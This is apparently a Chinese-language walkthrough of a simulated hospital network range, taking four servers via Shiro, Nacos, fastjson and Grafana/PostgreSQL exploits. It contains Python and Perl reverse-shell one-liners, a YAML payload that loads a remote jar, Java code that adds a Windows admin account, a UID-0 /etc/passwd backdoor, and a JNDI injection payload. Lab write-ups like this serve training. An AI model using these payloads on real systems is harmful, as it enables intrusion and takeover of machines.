[[仿真靶场 - 醫院]]#
概述#
在這個場景中,你將扮演一名滲透測試工程師,被派遣去測試某家醫院的網絡安全性。你的目標是成功獲取所有伺服器的權限,以評估公司的網絡安全狀況。該靶場共有 4 個 flag,分布於不同的靶機。
靶場架構
信息收集#
fscan 掃描得到如下內容:
8080 端口存在一個網站和 heapdump 文件,訪問 /actuator 目錄
http://39.99.225.90:8080/actuator
訪問網站,弱口令登錄後台
漏洞利用#
登錄後台檢測到 shiro
無法爆破到 key,之前的 heapdump 文件中有 key
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES
爆破鏈
執行命令
生成內存馬,蟻劍連接
提權#
查找設置了 SUID 權限的文件,vim.basic 可以直接以 root 身份進行文件編輯
從蟻劍反彈 shell 到雲伺服器上
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
需要升級交互式終端。
python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color
通過 vim.basic 修改 /etc/passwd 進行提權
openssl passwd -1 -salt 123 123456
生成密碼
在 /etc/passwd 文件中添加個賬戶
hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash
flag01#
添加之後,su 切換到新添加的帳號,這台伺服器是 web01,獲取 flag01 的值
su hacker
參考:https://cloud.tencent.com/developer/article/1711865
內網掃描#
上 fscan 進行掃描
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8009 open
172.30.12.6:8848 open
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳轉url: http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34 code:200 len:2005 title:醫療管理後台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:醫院後台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file
發現如下兩個資產
http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass
http://172.30.12.236:8080 code:200 len:3964 title:醫院後台管理平台
內網 172.30.12.6 存在一台 nacos 服務,存在默認密碼 nacos/nacos
http://172.30.12.236:8080
是存在 fastjson 服務
flag02#
利用venom代理內網,admin 監聽端口,agent 發起連接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost x.x.x.x(vps ip) -rport 9999
訪問 nacos 應用
http://172.30.12.6:8848/nacos/
讀配置文件
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
在 db-config 的回滾配置文件中,可以看到惡意配置的 jar 包,內容差不多如下,一開始以為是要回滾到下述配置,後面重置了好幾次環境,測試後發現不用回滾,下述是手動配置文件
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://172.30.12.5:802/yaml-payload.jar"]
]]
]
利用工具進行利用
需要編譯惡意 payload,參考項目:https://github.com/artsploit/yaml-payload
只需要修改 AwesomeScriptEngineFactory.java 的內容,由於目標是 windows 機器,所以可以添加個帳號,目標伺服器也開了 3389 端口
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user lca Lca@123 /add");
Runtime.getRuntime().exec("net localgroup administrators lca /add");
} catch (IOException e) {
e.printStackTrace();
}
}
然後用java1.8 的版本去編譯,一定要用 java1.8 編譯
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
上傳至 web01 伺服器(flag01 那台),web01 上開啟 python 服務,讓 web02(172.30.12.6)來下載惡意 jar 包,然後用工具 NacosExploitGUI_v3.9 發送請求,jar 路徑就是 python 啟動的 web 服務的路徑
java -jar NacosExploitGUI_v3.9.jar
web01 接受到請求,說明 172.30.12.6 已下載了惡意 payload,接下來就是驗證帳戶是否添加成功
在本地電腦上 proxifier 設置代理,連接 3389
連接成功,拿到 flag02,這台伺服器是 web02
nacos 相關漏洞:
Nacos 內網集群 Raft 反序列化漏洞
Nacos JRaft Hessian 反序列化漏洞利用工具
flag03#
另外一台存在 fastjson 漏洞
不出網打,在 172.30.12.5(web01)上啟動JNDI
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
yakit 上需要開啟下級代理
獲取 flag03,這台是 web03 機器
flag04#
本地電腦要訪問最後一台機器,需要二層內網代理,這台機器上有grafana+postgres兩個服務,grafana 存在弱口令,可直接登錄後台。
grafana 後台可執行 postgres 的命令,反彈一個低權限的 shell 到 web03 伺服器上
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
在 web3 上,下載https://github.com/A-D-Team/grafanaExp,利用上述 exp (**CVE-2021-43798**) 讀取帳號密碼,然後登錄 postgres 賬戶
./grafanaExp exp -u http://172.30.54.12.:3000/
讀取到帳號密碼 postgres@123,通過 psql 登錄
psql -h 172.30.54.12 -U postgres -W
postgres=# select version();
#查看管理員的密碼是md5格式
postgres=# SHOW is_superuser;
使用 hashcat 進行破解,數據庫 root 的密碼為 P@ssw0rd123
hashcat -w 4 -m 0 -a 0 hashfile.txt /usr/share/wordlists/rockyou.txt -O
然後用 root 用戶登錄提權,psql 用絕對路徑
sudo /usr/local/postgresql/bin/psql
輸入\?
跳轉到命令行,找到 flag04